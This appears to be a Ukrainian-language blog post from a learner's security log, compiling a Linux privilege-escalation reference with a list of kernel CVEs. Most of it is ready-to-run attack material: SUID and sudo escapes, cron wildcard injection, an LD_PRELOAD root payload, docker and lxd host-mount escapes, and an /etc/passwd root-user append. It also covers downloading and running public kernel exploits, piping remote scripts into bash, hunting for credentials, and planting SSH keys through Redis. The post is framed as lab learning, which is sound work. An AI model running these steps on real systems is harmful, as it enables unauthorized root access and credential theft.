// LOG #25: Linux Privilege Escalation — reference-довідник
Юний поціновувач кібернетичних наук
У постах #9 (Anonymous, cron privesc), #15 (SUID systemctl), #19 (SUID python, cron writable), #20 (PATH hijacking) — я показав різні privesc-техніки на реальних машинах. Тепер хочу зібрати ВСЕ в один reference-довідник, до якого сам повертатимусь. Плюс велика база Linux kernel LPE — у форматі «нахилив голову, ідеш по списку».
>> Перші 30 секунд після shell
Отримав shell — не кидайся одразу шукати експлойти. Зроби розвідку. Ось точний checklist, який відпрацьовую на кожній машині:

id; whoami; hostname; uname -a # хто я, ядроsudo -l 2>/dev/null # sudo без пароля?find / -perm -4000 -type f 2>/dev/null # SUID rootgetcap -r / 2>/dev/null # capabilitiescat /etc/crontab; ls -la /etc/cron.*/* # cron від rootmount | grep -iE 'nfs|nosuid|noexec' # NFS / mountcat /etc/passwd | grep -v nologin # хто має shellps -ef | grep root # root процесиАбо автоматика — LinPEAS зробить це і ще 500 перевірок за 2 хв:
curl -sL http://<LHOST>/linpeas.sh | bash>> Вектор 1: sudo (найшвидший)
sudo -l — найперша команда після shell. Дає карту дозволеного через sudo без пароля. Три сценарії залежно від виводу:
- (ALL) NOPASSWD: ALL — миттєвий root: sudo -i (як на Pickle Rick #15);
- (ALL) NOPASSWD: /path/binary — GTFOBins для цього бінарника (vim, find, awk, tar, less, systemctl, python — усі мають shell-escape);
- env_keep += LD_PRELOAD — LD_PRELOAD-атака (нижче).
CVE-2019-14287 (sudo runas -1): якщо в правилах є (ALL, !root) — обхід через `sudo -u#-1 /bin/bash` дає uid=0. Класика 2019.
>> Вектор 2: SUID/SGID бінарники
SUID-біт: бінарник запускається з правами ВЛАСНИКА, а не запускача. Якщо власник root — і бінарник має shell escape — ти root. Пошук:
find / -perm -4000 -type f 2>/dev/null # SUIDfind / -perm -2000 -type f 2>/dev/null # SGID
Стандартні SUID (passwd, sudo, mount, ping) не цікаві — вони мають захист. Цікаві — нестандартні: vim, find, awk, tar, python, node, cp, less, systemctl (як Vulnversity #15), і будь-який кастомний бінарник типу /usr/bin/menu (як Kenobi #20).
Головний ресурс — GTFOBins (реально відкритий на всіх engagement-ах). Шукаєш назву бінарника — маєш рецепт escape. Формат сторінки:
- Shell — прямий shell escape;
- SUID — команда для експлуатації SUID-версії;
- Sudo — команда для sudo-версії;
- File read/write — читання/запис файлів під SUID.
Механіка популярних SUID-escape (щоб розуміти, а не просто копіювати):
- vim/nano/less/more — інтерактивні редактори мають shell escape (:!cmd, ^R^X). Оскільки процес під SUID root, cmd теж біжить як root;
- find — має -exec, який виконує довільну команду для кожного знайденого файлу: find / -exec /bin/sh -p \;;
- awk/gawk — BEGIN {system("cmd")}: гнучкий інтерпретатор;
- python/perl/ruby/node — os.setuid(0) + os.system() (setuid потрібен бо euid=0 але uid=user);
- tar/cp/dd — read/write arbitrary files (для read /etc/shadow або overwrite /etc/passwd);
- systemctl — link malicious .service (як Vulnversity #15);
- docker — docker run --rm -it -v /:/mnt alpine chroot /mnt sh;
- wget/curl — можуть writenfile через --post-file до себе; або --output-document для читання;
- install/rsync/git — не очевидні, але GTFObins має рецепти.
Ключовий момент про suid: коли ти запускаєш SUID root бінарник, твій effective UID стає 0, але real UID лишається твоїм. Тому у shell-скриптах треба `bash -p` (preserve privileges), інакше bash сам скидає euid до real uid для безпеки. Для python — явний os.setuid(0).
>> Вектор 3: capabilities (тонше за SUID)
Linux capabilities — розбиття root-повноважень на дрібніші права. Бінарник без SUID, але з `cap_setuid+ep` — дає root так само:
getcap -r / 2>/dev/null# ~/python3 = cap_setuid+ep <-- ТУТpython3 -c 'import os;os.setuid(0);os.system("/bin/bash")'Ключові capabilities, які = root:
- cap_setuid — можна викликати setuid(0);
- cap_dac_read_search — читати будь-які файли (напр. /etc/shadow);
- cap_dac_override — писати куди завгодно;
- cap_sys_admin — фактично root (mount, mknod, etc);
- cap_sys_ptrace — інджект у процеси;
- cap_chown — chown куди завгодно.
>> Вектор 4: cron (writable script)
root-cron виконує скрипт, який ти можеш редагувати — миттєвий root. Пошук:
cat /etc/crontabls -la /etc/cron.hourly /etc/cron.daily /etc/cron.d/ls -la /var/spool/cron/crontabs/Три підвиди:
- Writable script — дописуєш свою команду і чекаєш (як Anonymous #9, Startup #19);
- Writable PATH у cron — cron викликає бінарник без повного шляху, а твоя папка перша в PATH;
- Wildcard injection — cron із `tar cf * ` або `rsync *` дозволяє підсунути файл із іменем як опція.
Підвид 1 — writable script (класика):
# файл /opt/backup.sh належить root, права 777 (або group writable)echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /opt/backup.sh# чекаємо cron -> /tmp/rb -p дає root shell/tmp/rb -p # -p зберігає euid=0Підвид 2 — writable PATH у cron:
cat /etc/crontab# PATH=/home/user:/usr/bin <-- юзер у PATH!# * * * * * root overwrite.sh (без повного шляху)cd /home/user && cat > overwrite.sh <<'EOF'#!/bin/bashcp /bin/bash /tmp/r; chmod +s /tmp/rEOFchmod +x overwrite.shПідвид 3 — wildcard injection (найелегантніший) — cron виконує `tar czf /backup.tgz *` у папці, куди ти можеш писати. tar сприймає імена файлів як прапорці, якщо вони починаються з `-`. Trick:
cd /var/backups # папка де cron робить tar czf * *# кладемо файл, що виглядає як прапорецьecho 'cp /bin/bash /tmp/r; chmod +s /tmp/r' > shell.shchmod +x shell.shtouch -- '--checkpoint=1'touch -- '--checkpoint-action=exec=sh shell.sh'# коли cron: tar czf backup.tgz * -> * розкриється у shell.sh# --checkpoint=1 --checkpoint-action=exec=sh shell.sh -> RCE як root!Той самий трюк з rsync (`-e`), chown, chmod (`-R`), 7z. Правило: будь-який wildcard у cron від root, у папку куди ти можеш писати = privesc. GTFObins має список бінарників зі wildcard-багом.
>> Вектор 5: PATH hijacking
SUID-бінарник викликає команду БЕЗ повного шляху (`system("whoami")` замість `/usr/bin/whoami`). Ти підсовуєш свій whoami першим у PATH — виконається від root. Точно так було на Kenobi (#20) з /usr/bin/menu:
strings /usr/bin/menu | grep -E '^curl|^uname|^ifconfig'# menu викликає 'curl' без /usr/bin/cd /tmp; echo '#!/bin/bash' > curl; echo 'cat /root/root.txt' >> curlchmod +x curl; export PATH=/tmp:$PATHecho 1 | /usr/bin/menu # root>> Вектор 6: LD_PRELOAD / LD_LIBRARY_PATH
Динамічні бібліотеки завантажуються за LD_PRELOAD ще до виконання коду. Якщо в sudoers є `env_keep += LD_PRELOAD` — робимо власну shared object з `_init()`, який дає shell:
# ~/x.c#include <stdio.h>#include <stdlib.h>void _init(){ setuid(0); system("/bin/bash -p"); }gcc -fPIC -shared -nostartfiles -o /tmp/x.so x.csudo LD_PRELOAD=/tmp/x.so /usr/bin/find # -> root shellLD_LIBRARY_PATH подібно, але через writable path з підмінами libc-функцій.
>> Вектор 6.5: небезпечні групи (docker, lxd, disk, video, kvm)
Якщо ти в спеціальній групі — це часто equivalent root:
id # шукаємо: docker, lxd, disk, adm, sudo, video, kvmdocker group — миттєвий root через маунт хоста в контейнер:
docker run --rm -it -v /:/mnt alpine chroot /mnt bashТи вже root у контейнері, а /mnt = хост-система → повний root на хості.
lxd/lxc group — те саме, але через LXC-контейнер:
lxc image import ./alpine.tar.gz --alias myimagelxc init myimage priv -c security.privileged=truelxc config device add priv host-root disk source=/ path=/mntlxc start priv && lxc exec priv /bin/sh# у контейнері: /mnt = хостdisk group — можеш читати raw-диск (/dev/sda), витягуємо /etc/shadow:
debugfs /dev/sda1# або витягти файл напряму:sudo debugfs -R 'cat /etc/shadow' /dev/sda1adm group — читання всіх логів /var/log (пошук кредів у auth.log, web-server logs). video/kvm — доступ до /dev/mem через debugfs (extraction процесів).
>> Вектор 7: NFS (root_squash + no_root_squash)
NFS-експорт з `no_root_squash` дозволяє root-клієнту писати як root на сервер. Якщо ти root у себе (наприклад у Kali) — стаєш root на цілі:
cat /etc/exports # на сервері# /home *(rw,no_root_squash) <-- вразливо!# у себе (Kali):mount -t nfs <IP>:/home /mntcp /bin/bash /mnt/rb; chmod +s /mnt/rb# на цілі: /home/rb -p -> rootKenobi (#20) — інший варіант: `/var *` експортовано, і файл, скопійований через ProFTPD mod_copy, потім читається через NFS (nfs-cp у userspace без mount).
>> Вектор 8: writable /etc/passwd або /etc/shadow
Класика: якщо ти можеш писати в /etc/passwd — додаєш власного root-юзера. Генеруєш пароль у форматі crypt і додаєш рядок:
openssl passwd -1 -salt xyz mypassword# $1$xyz$rBrDAmOZbA6kxfrfQrf421echo 'evil:$1$xyz$rBrDAmOZbA6kxfrfQrf421:0:0::/root:/bin/bash' >> /etc/passwdsu evil # -> rootАбо перезапис /etc/shadow (пароль root заміняємо на свій хеш). Dirty Pipe (нижче) дає це навіть на файли з правами тільки для root.
>> Вектор 9: kernel exploits — база LPE
Коли всі перші вектори закриті — залишається kernel. `uname -a`, мапиш на список кандидатів, компілюєш PoC, стріляєш. Ось історична база гучних LPE:

Класика (треба знати ВСІ):
- CVE-2016-5195 Dirty COW — race у COW, дозволяє write у read-only mapping (SUID, /etc/passwd). 2.6.22 – 4.8.3. Найзнаменитіший LPE десятиліття;
- CVE-2022-0847 Dirty Pipe — uninitialized flag у pipe merge → write у read-only файл через splice. 5.8 – 5.16.11. Overwrite /etc/passwd за 2 секунди;
- CVE-2021-4034 PwnKit — polkit pkexec (не kernel, але завжди у чек-листі). Missing argc==0 check → argv[0]=NULL. Вразливо всі distros до 2022;
- CVE-2021-3156 Sudo Baron Samedit — heap buffer overflow у sudo <1.9.5p2 через backslash escaping;
- CVE-2014-3153 Towelroot — futex UAF, класика Android root.
Netfilter / nf_tables (сучасні хіти):
- CVE-2021-22555 — heap OOB у x_tables. 2.6.19 – 5.12 (15 років!). Google kCTF winner;
- CVE-2022-2588 — nf_tables list_del race. 3.5 – 5.18;
- CVE-2022-32250 — nf_tables UAF. 5.8 – 5.18.1;
- CVE-2023-32233 — nft_set_rbtree UAF, <6.3.1;
- CVE-2024-1086 Notselwyn — double-free у nft_verdict_init. 5.14 – 6.6. УНІВЕРСАЛЬНИЙ, дуже стабільний PoC. Дефолтні Debian/Ubuntu 6.x до січня 2024.
OverlayFS (Ubuntu-класика):
- CVE-2015-1328 — оригінальний overlayfs LPE. Ubuntu 14.04/15.04;
- CVE-2021-3493 — overlayfs + user_ns capabilities (Ubuntu-specific);
- CVE-2023-0386 — SUID copy_up на overlayfs, 5.11 – 6.1.9;
- CVE-2023-2640 GameOver(lay) — Ubuntu-specific setxattr bug (Wiz Research).
eBPF verifier (потужні primitives):
- CVE-2017-16995 — sign-extension, 4.4–4.14.8. Легендарний PoC Chompie/rlarabee;
- CVE-2020-8835 — bounds tracking (Pwn2Own);
- CVE-2021-3490 — ALU32 bounds (Pwn2Own).
io_uring (свіжі 2022+):
- CVE-2022-2602 — io_uring + UNIX GC UAF (Jann Horn P0);
- CVE-2024-0582 — UAF на unregister buffer ring. 6.4–6.7.
Filesystem/mm класика:
- CVE-2021-33909 Sequoia — size_t→int overflow у seq_file. 3.16–5.13.4;
- CVE-2022-0185 — fs_context integer underflow. 5.1–5.16.2;
- CVE-2018-14634 Mutagen Astronomy — argv/envp SUID clash (RHEL/CentOS 6/7).
Свіжі 2023-2025:
- CVE-2023-3269 StackRot — UAF у maple tree, 6.1–6.4-rc7;
- CVE-2023-35001 — nf_tables byteorder OOB (Pwn2Own);
- CVE-2024-27397 — nf_tables catchall timer UAF, 5.15–6.8;
- CVE-2024-50264 — vsock UAF, 4.8–6.11 (Notselwyn);
- CVE-2025-21756 — vsock UAF наступник, 4.9–6.13.
Специфічні (не kernel, але у списку):
- CVE-2019-14287 — sudo runas -1 (тривіально);
- CVE-2019-13272 — PTRACE_TRACEME parent creds (Jann Horn), <5.1.17;
- CVE-2022-0492 — cgroup release_agent (container escape);
- CVE-2023-22809 — sudoedit EDITOR arbitrary file write;
- CVE-2025-32463 — sudo --host NSS bypass (свіжий).
>> Робочі PoC найгучніших LPE
DirtyPipe (CVE-2022-0847) — 5.8-5.16.11 — 30-секундний overwrite будь-якого файлу без запису прав. Принцип: uninitialized flag PIPE_BUF_FLAG_CAN_MERGE після splice() дозволяє write у page cache read-only файлу. Найшвидший метод — перезаписати /etc/passwd або SUID-бінарник:
# завантажуємо готовий PoCwget https://haxx.in/files/dirtypipez.cgcc dirtypipez.c -o dpz# знаходимо будь-який SUID-бінарник (тимчасово перезапишемо):./dpz /usr/bin/su# експлойт зробить бекап, впорсне payload, дасть root shell,# потім відновить оригінальний бінарник. Ідеальний OPSEC.PwnKit (CVE-2021-4034) — pkexec ≤0.120 — universal LPE на всіх distros до 2022 (Ubuntu 12.04-21.10, Debian 7-11, RHEL/CentOS 6-8, Fedora). polkit pkexec не перевіряв argc==0 → argv[0]=NULL → out-of-bounds read/write. Тривіальний exploit:
git clone https://github.com/berdav/CVE-2021-4034cd CVE-2021-4034 && make./cve-2021-4034# instant root shellПеревірити чи вразливо: `pkexec --version` — якщо ≤0.120 і система не патчена, PwnKit працює. На вересень 2023 ще траплялося на un-patched embedded і legacy VPS.
Sudo Baron Samedit (CVE-2021-3156) — sudo <1.9.5p2, heap overflow через backslash escaping в arguments. Не тільки Linux — macOS/BSD також. Перевірка:
sudoedit -s / 2>&1 | head -1# 'usage: sudoedit' = не вразливо (пропатчено)# 'sudoedit: /:...' = ВРАЗЛИВО# PoC: https://github.com/blasty/CVE-2021-3156Notselwyn CVE-2024-1086 (nf_tables) — 5.14-6.6 — універсальний, вражає дефолтні Debian/Ubuntu 6.x до січня 2024. Автор Notselwyn випустив дуже стабільний PoC:
git clone https://github.com/Notselwyn/CVE-2024-1086cd CVE-2024-1086 && make./exploit # ~30 секунд до root# передумова: unprivileged_userns_clone=1 (дефолт на Ubuntu)Перевірити передумови на цілі:
sysctl kernel.unprivileged_userns_clone # має бути 1cat /proc/sys/user/max_user_namespaces # має бути >0GameOver(lay) CVE-2023-2640 — Ubuntu тільки — специфічний для Ubuntu 20.04/22.04/23.04 з default OverlayFS. Wiz Research виявили regression через Ubuntu backport. Дуже простий exploit — не потребує C-компіляції:
# 1. створюємо upperdir у user_nsunshare -rm sh -c 'mkdir upper lower work merged mount -t overlay overlay -olowerdir=lower,upperdir=upper,workdir=work merged touch upper/x setcap cap_setuid+eip upper/x'# 2. у merged/x тепер файл із cap_setuid як root./upper/x -c 'import os; os.setuid(0); os.system("/bin/bash")'>> Що ще перевірити (те, що часто забувають)
Крім 9 базових векторів є низка «дрібниць», які часто дають privesc там, де LinPEAS мовчить:
1. Bash-history і файли з кредами:
cat ~/.bash_history ~/.zsh_history ~/.mysql_historycat /home/*/.bash_history 2>/dev/null # інших юзерівgrep -riE 'password|passwd|secret|token' /var/www /home /opt 2>/dev/nullfind / -name '.env' -o -name 'wp-config.php' -o -name 'config.php' 2>/dev/null2. SSH-ключі, які забули видалити:
find / -name 'id_rsa' -o -name 'id_ed25519' -o -name 'authorized_keys' 2>/dev/nullcat /home/*/.ssh/authorized_keys 2>/dev/null # чи можу дописати?ls -la /root/.ssh/ # 700 root - readable?3. Процеси root із аргументами (креди у ps):
ps auxwww | grep -iE 'password|pass=|-p |secret' | grep -v grep# часто mysql -uroot -pMyPass..., або backup-скрипти з паролями у argv4. Environment variables:
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|token|key'# service accounts часто мають DB_PASSWORD у env5. Внутрішні сервіси на localhost:
ss -tlnp 2>/dev/null | grep 127.0.0.1# 127.0.0.1:6379 = Redis без auth (часто) -> RCE через CONFIG SET# 127.0.0.1:11211 = Memcached -> stats items -> викачати ключі# 127.0.0.1:9200 = Elasticsearch -> _cluster/stateПриклад Redis privesc — записати SSH-ключ через RDB dump:
redis-cli -h 127.0.0.1 CONFIG SET dir /root/.ssh/redis-cli -h 127.0.0.1 CONFIG SET dbfilename authorized_keysecho -e '\n\nssh-rsa AAAA...\n\n' | redis-cli -x SET kredis-cli SAVEssh root@localhost -i my_key6. Backup-архіви з правами:
find / -name '*.tar*' -o -name '*.zip' -o -name '*.bak' 2>/dev/null# часто root залишає /root/backup.tar.gz з readable правами# всередині — /etc/shadow, ssh keys, конфіги7. Полiтики /etc/sudoers.d/*:
ls -la /etc/sudoers.d/ # інколи забутий *.tmp з NOPASSWDgrep -r 'NOPASSWD' /etc/sudoers* 2>/dev/null8. Log файли для injection:
ls -la /var/log/*.log # який лог парсить root cron?# якщо root awk-ом парсить log куди ти пишеш -> awk injection# або logrotate hook на writable log = RCE>> Мапінг uname -a → кандидати
Автоматичні suggester-и:
# linux-exploit-suggester (mzet, оновлюється):curl -sL https://github.com/mzet-/linux-exploit-suggester/raw/master/linux-exploit-suggester.sh | bash# або з uname:./linux-exploit-suggester.sh --uname 'Linux 5.15.0-91-generic'# linpeas.sh секція Kernel Exploits:curl -sL https://linpeas.sh | sh 2>/dev/null | grep -A5 'Kernel'Але автоматика false-positive: LES часто позначає fixed CVE як вразливий, бо порівнює лише upstream version. Distro (Ubuntu, RHEL) backport-ять фікси — треба перевіряти по distro tracker (Ubuntu Security, Debian Security Tracker, Red Hat CVE DB).
Топ-5 черга на сучасних Linux (2022+):
- PwnKit (CVE-2021-4034) — perlaks по всьому парку, pkexec ≤0.120;
- Dirty Pipe (CVE-2022-0847) — 5.8–5.16.11, стабільний;
- GameOver(lay) CVE-2023-2640 — Ubuntu 20.04/22.04/23.04 default;
- Notselwyn CVE-2024-1086 — 5.14–6.6, універсальний;
- OverlayFS CVE-2023-0386 — 5.11–6.1, generic Linux.
Шо каже HackTricks 📖
Повний бібл — це HackTricks Linux Privesc (найкращий довідник в індустрії) + вічний GTFOBins для SUID/sudo escape. Автоматика — LinPEAS і linux-exploit-suggester. База kernel PoC — lucyoa/kernel-exploits (класика) і Google kCTF submissions (свіжі, якісні). Правило номер один: НЕ компілюй PoC на цілі — це прибиває всі логи і засвічує gcc. Компілюй у lab з тим самим kernel-version через Docker.
>> Що я зрозумів для себе
- Privesc = послідовна перевірка чек-листа: sudo → SUID → capabilities → cron → PATH → LD_PRELOAD → NFS → writable /etc → kernel.
- Автоматика (LinPEAS) швидша, ручна перевірка точніша. Використовуй обидві.
- sudo -l — 5 секунд перевірки, часто миттєвий root.
- GTFOBins — обов'язковий bookmark. Кожен SUID/sudo пробуй там.
- Capabilities тонше за SUID. Забувають getcap → пропускають privesc.
- Writable cron-script = найшвидший privesc (як Anonymous #9, Startup #19).
- PATH hijacking для кастомних SUID-бінарників (як Kenobi #20).
- Kernel exploits — останній рубіж. Distro-tracker важливіший за upstream.
- НЕ компілюй PoC на цілі. Тільки у lab з тим самим kernel.
>> Шпаргалка: перші 30 секунд
id; sudo -l; uname -afind / -perm -4000 -type f 2>/dev/nullgetcap -r / 2>/dev/nullcat /etc/crontab; ls -la /etc/cron.*/*showmount -e localhost 2>/dev/nullls -la /etc/passwd /etc/shadow# автоматика:curl -sL http://<LHOST>/linpeas.sh | bash>> Інструмент дня
GTFOBins · HackTricks: Linux Privesc · LinPEAS · linux-exploit-suggester · lucyoa/kernel-exploits · Google kCTF submissions
GTFOBins: https://gtfobins.github.io/HackTricks: Linux Privesc: https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.htmlLinPEAS: https://github.com/peass-ng/PEASS-ng/tree/master/linPEASlinux-exploit-suggester: https://github.com/mzet-/linux-exploit-suggesterlucyoa/kernel-exploits: https://github.com/lucyoa/kernel-exploitsGoogle kCTF submissions: https://github.com/google/security-research/tree/master/pocs/linuxЦе не пост, а reference — save it, приходь коли отримав user-shell і не знаєш куди йти. 9 векторів privesc + історична база 30+ kernel CVE в одному місці. Кавомашина мовчить, термінал працює, root на відстані sudo -l. Ростемо, username.
— з повагою ваш Юний поціновувач кібернетичних наук